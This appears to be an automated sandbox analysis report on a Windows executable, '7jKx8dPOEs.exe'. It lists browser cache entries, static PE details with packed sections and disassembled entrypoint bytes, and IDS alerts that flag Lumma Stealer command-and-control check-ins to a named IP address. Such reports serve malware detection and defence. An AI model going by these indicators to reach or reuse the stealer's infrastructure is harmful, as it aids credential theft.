Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	179335
Entropy (8bit):	5.435182897681627
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVa:Wof3G0NSkNzMeO7z/l3a
MD5:	517954FBCEBC2B0669606202492A4888
SHA1:	404819BEF2964D493DF3CB29102719025BEA48AF
SHA-256:	211DF9427FF68A7AA97490D30BABCEC089295E6219D461DD2946D24FE919DAEF
SHA-512:	21F79D8CB099D874CB2AD32BCE04ADBDE919F3499363E51FE875C0EB409A4EEF555F349351DAB84E39214E26F5320E6E472C0A6A7C06A4CA9EFD1421174CA0C3
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.0747157240281755
Encrypted:	false
SSDEEP:	6144:XegPrbKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:1KCerXyUh
MD5:	875E7F3672FEC41DDB5A2386D2331531
SHA1:	282979933E99BDE3A6342DC1EF93FBC51682F2C3
SHA-256:	F205B3CBA340ECB0B5D45E5DE6D385947CC4C21248707A90BFD5894E9B61F3C9
SHA-512:	67A3C1D8FF089E01C20962D96968DE43F3E8D49B474C396F08827EE891C0315693634E663D3148D7441B501EA6939A7D84A80B1E855B7C2A8BCB17E0013AFAD4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.541040216537916
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	7jKx8dPOEs.exe
File size:	3'008'512 bytes
MD5:	fe3379ec1a912799963d0f5887406d7a
SHA1:	becf58702cd81eabb4d433fdfbf9140a626ba6ef
SHA256:	3a3207ca5b28513ca1d7f75e920961875668bacf5174734c31de1ac6053931a4
SHA512:	dbfe69d152642fc73e3eb1d3441ce8b2a7579a1312a44bb6a556750c32b57d2a9290a6ba7941468a7b308c45f4cf3f05f43d296c8499fe4f2114bc5da4932f1c
SSDEEP:	24576:PSjNpXkp7S9NQTDLf+2xj+LggHjfbWw1fivkwqCNi2fzanEIisHlfgD/orCbm515:PSBIoiDTwfivWd1CbmzjMpRZFux8iu
TLSH:	DAD54991FC4CB1CBD89A26389537CD82595C03F98B1448CBAC69B4BA6D73CC725BBC64
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig..............................0...........@...........................0......!....@.................................Y@..m..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x70b000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007EFC3527E04Ah
shufps xmm5, dqword ptr [00000000h], 00h
jmp 00007EFC35280045h
inc ecx
push bx
dec esi
dec ebp
das
xor al, 36h
dec edi
bound ecx, dword ptr [ecx+4Ah]
dec edx
insd
push edi
dec eax
dec eax
jbe 00007EFC3527E0B2h
push esi
dec edx
popad
je 00007EFC3527E0ABh
push edx
dec esi
jc 00007EFC3527E0BAh
cmp byte ptr [ebx], dh
push edx
jns 00007EFC3527E087h
or eax, 49674B0Ah
cmp byte ptr [edi+43h], dl
jnc 00007EFC3527E08Dh
bound eax, dword ptr [ecx+30h]
pop edx
inc edi
push esp
push 43473163h
aaa
push edi
dec esi
xor ebp, dword ptr [ebx+59h]
push edi
push edx
pop eax
je 00007EFC3527E097h
xor dl, byte ptr [ebx+2Bh]
popad
jne 00007EFC3527E08Ch
dec eax
dec ebp
jo 00007EFC3527E083h
xor dword ptr [edi], esi
inc esp
dec edx
dec ebp
jns 00007EFC3527E090h
insd
jnc 00007EFC3527E0B0h
aaa
inc esp
inc ecx
inc ebx
xor dl, byte ptr [ecx+4Bh]
inc edx
inc esp
bound esi, dword ptr [ebx]
or eax, 63656B0Ah
jno 00007EFC3527E098h
push edx
insb
js 00007EFC3527E0B1h
outsb
inc ecx
jno 00007EFC3527E092h
push ebp
inc esi
pop edx
xor eax, dword ptr [ebx+36h]
push eax
aaa
imul edx, dword ptr [ebx+58h], 4Eh
aaa
inc ebx
jbe 00007EFC3527E08Ch
dec ebx
js 00007EFC3527E083h
jne 00007EFC3527E071h
push esp
inc bp
outsb
inc edx
popad
dec ebx
insd
dec ebp
inc edi
xor dword ptr [ecx+36h], esp
push 0000004Bh
sub eax, dword ptr [ebp+33h]
jp 00007EFC3527E09Ch
dec edx
xor bh, byte ptr [edx+56h]
bound eax, dword ptr [edi+66h]
jbe 00007EFC3527E07Ah
dec eax
or eax, 506C720Ah
aaa
xor dword ptr fs:[ebp+62h], ecx
arpl word ptr [esi], si
inc esp
jo 00007EFC3527E0B3h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	bfab71ac27c3d288e8c40767a4934f21	False	0.9996042687908496	data	7.983355695235064	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
milluowt	0x55000	0x2b5000	0x2b4c00	182e9ed9de65d39deaa68ee282d55959	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
gwqiafge	0x30a000	0x1000	0x400	bcfcee5789ef29aba101464a68b98276	False	0.7822265625	data	6.140159278094872	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x30b000	0x3000	0x2200	e02f43b8ab6af00d79fb779f44de7f78	False	0.38074448529411764	DOS executable (COM)	4.118419585532592	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T08:44:54.805661+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49704	172.67.165.185	443	TCP
2024-12-27T08:44:55.540609+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	172.67.165.185	443	TCP
2024-12-27T08:44:55.540609+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	172.67.165.185	443	TCP
2024-12-27T08:44:56.815091+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49705	172.67.165.185	443	TCP
2024-12-27T08:44:57.591455+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	172.67.165.185	443	TCP
2024-12-27T08:44:57.591455+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	172.67.165.185	443	TCP
2024-12-27T08:44:59.257357+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49706	172.67.165.185	443	TCP
2024-12-27T08:45:01.838281+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49707	172.67.165.185	443	TCP
2024-12-27T08:45:04.403882+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49708	172.67.165.185	443	TCP
2024-12-27T08:45:07.108903+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49709	172.67.165.185	443	TCP
